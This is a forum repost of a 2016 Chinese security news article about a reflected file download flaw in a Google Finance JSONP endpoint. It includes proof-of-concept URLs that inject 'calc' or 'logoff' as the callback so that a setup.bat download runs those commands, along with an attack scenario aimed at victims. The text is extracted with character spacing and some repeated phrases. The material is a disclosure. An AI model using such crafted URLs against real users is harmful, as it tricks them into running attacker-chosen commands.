搜索

[9773] 2016-01-25_Google财经被曝反射文件下载(RFD)漏洞

文档创建者：s7ckTeam
浏览次数：59
最后更新：2025-01-18
2016-01-25_Google财经被曝反射文件下载(RFD)漏洞 G o o g l e 财 经 被 曝 反 射 文 件 下 载 ( R F D ) 漏 洞 v u l t u r e   F r e e B u f   2 0 1 6 - 0 1 - 2 5 一 位 葡 萄 牙 的 网 络 安 全 专 家 一 位 葡 萄 牙 的 网 络 安 全 专 家 D a v i d   S o p a s 发 现 了 影 响 发 现 了 影 响 G o o g l e 财 经 的 一 个 反 射 文 件 下 载 财 经 的 一 个 反 射 文 件 下 载 ( R F D ) 漏 洞 。 漏 洞 。 我 在 审 计 其 他 客 户 端 的 时 候 发 现 了 这 个 漏 洞 ， 通 过 R F D ， 你 无 需 建 立 页 面 来 强 制 下 载 。 这 个 G o o g l e   J S O N 文 件 的 请 求 已 经 替 我 们 做 到 了 。 发 现 漏 洞 发 现 漏 洞 我 发 现 这 个 请 求 ： h t t p : / / w w w . g o o g l e . c o m / f i n a n c e / i n f o ? q = E L I : A L T R & c a l l b a c k = ? 会 返 回 如 下 的 信 息 ： / /   [ { " i d " :   " 7 0 3 6 5 5 " , " t "   :   " A L T R " , " e "   :   " E L I " , " l "   :   " 4 . 7 1 " , " l _ f i x "   :   " 4 . 7 1 " , " l _ c u r "   :   " € 4 . 7 1 " , " s " :   " 0 " , " l t t " : " 5 : 3 5 P M   G M T + 1 " , " l t "   :   " D e c   1 5 ,   5 : 3 5 P M   G M T + 1 " , " l t _ d t s "   :   " 2 0 1 5 - 1 2 - 1 5 T 1 7 : 3 5 : 4 0 Z " , " c "   :   " + 0 . 3 1 " , " c _ f i x "   :   " 0 . 3 1 " , " c p "   :   " 7 . 1 4 " , " c p _ f i x "   :   " 7 . 1 4 " , " c c o l "   :   " c h g " , " p c l s _ f i x "   :   " 4 . 3 9 6 " } ]
然 后 我 就 好 奇 ， 回 调 参 数 能 不 能 伪 造 呢 。 所 以 我 就 在 请 求 时 加 入 了 “ c a l c ” ： h t t p : / / w w w . g o o g l e . c o m / f i n a n c e / i n f o ? q = E L I : A L T R & c a l l b a c k = c a l c 然 后 返 回 的 信 息 如 下 ： / / c a l c ( [ { " i d " :   " 7 0 3 6 5 5 " , " t "   :   " A L T R " , " e "   :   " E L I " , " l "   :   " 4 . 7 1 " , " l _ f i x "   :   " 4 . 7 1 " , " l _ c u r "   :   " € 4 . 7 1 " , " s " :   " 0 " , " l t t " : " 5 : 3 5 P M   G M T + 1 " , " l t "   :   " D e c   1 5 ,   5 : 3 5 P M   G M T + 1 " , " l t _ d t s "   :   " 2 0 1 5 - 1 2 - 1 5 T 1 7 : 3 5 : 4 0 Z " , " c "   :   " + 0 . 3 1 " , " c _ f i x "   :   " 0 . 3 1 " , " c p "   :   " 7 . 1 4 " , " c p _ f i x "   :   " 7 . 1 4 " , " c c o l "   :   " c h g " , " p c l s _ f i x "   :   " 4 . 3 9 6 " } ] ) ; 妥 了 ！ 我 把 W i n d o w s 命 令 注 入 到 X H R 请 求 中 了 。 我 们 来 看 看 这 个 U R L 可 不 可 行 ： h t t p : / / w w w . g o o g l e . c o m / f i n a n c e / i n f o ; s e t u p . b a t ? q = E L I : A L T R & c a l l b a c k = c a l c 然 后 我 就 收 到 了 自 动 弹 出 批 处 理 文 件 下 载 窗 口 的 U R L 。 我 尝 试 了 一 下 这 些 浏 览 器 ， 发 现 都 是 可 行 的 ： F i r e f o x 最 新 版 本 O p e r a   最 新 版 本 I n t e r n e t   E x p l o r e r   8 和 9 使 用 限 制 使 用 限 制 我 注 意 到 测 试 时 ， 大 部 分 的 字 符 都 经 过 过 滤 ， 所 以 你 只 能 用 一 个 命 令 ， 不 能 有 空 格 或 者 参 数 。 P o C : h t t p : / / w w w . g o o g l e . c o m / f i n a n c e / i n f o ; s e t u p . b a t ? q = E L I : A L T R & c a l l b a c k = c a l c [ 批 处 理 执 行 时 会 打 开 计 算 器 ] h t t p : / / w w w . g o o g l e . c o m / f i n a n c e / i n f o ; s e t u p . b a t ? q = E L I : A L T R & c a l l b a c k = l o g o f f [ 批 处 理 执 行 时 w i n d o w s 会 注 销 ]
攻 击 场 景 攻 击 场 景 : 攻 击 者 把 U R L 发 给 受 害 者 ： h t t p : / / w w w . g o o g l e . c o m / f i n a n c e / i n f o ; s e t u p . b a t ? q = E L I : A L T R & c a l l b a c k = l o g o f f 受 害 者 下 载 并 执 行 文 件 批 处 理 执 行 后 受 害 者 就 会 被 注 销 出 操 作 系 统 G o o g l e 认 为 这 个 问 题 不 大 ， 没 有 安 全 影 响 ， 但 D a v i d   S o p a s 不 那 么 认 为 。 目 前 这 个 R F D 漏 洞 尚 未 被 修 复 。 *   参 考 来 源 ： D a v i d   S o p a s ， v u l t u r e 翻 译 ， 文 章 有 修 改 ， 转 载 请 注 明 来 自 F r e e B u f 黑 客 与 极 客 （ F r e e B u f . C O M ） 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理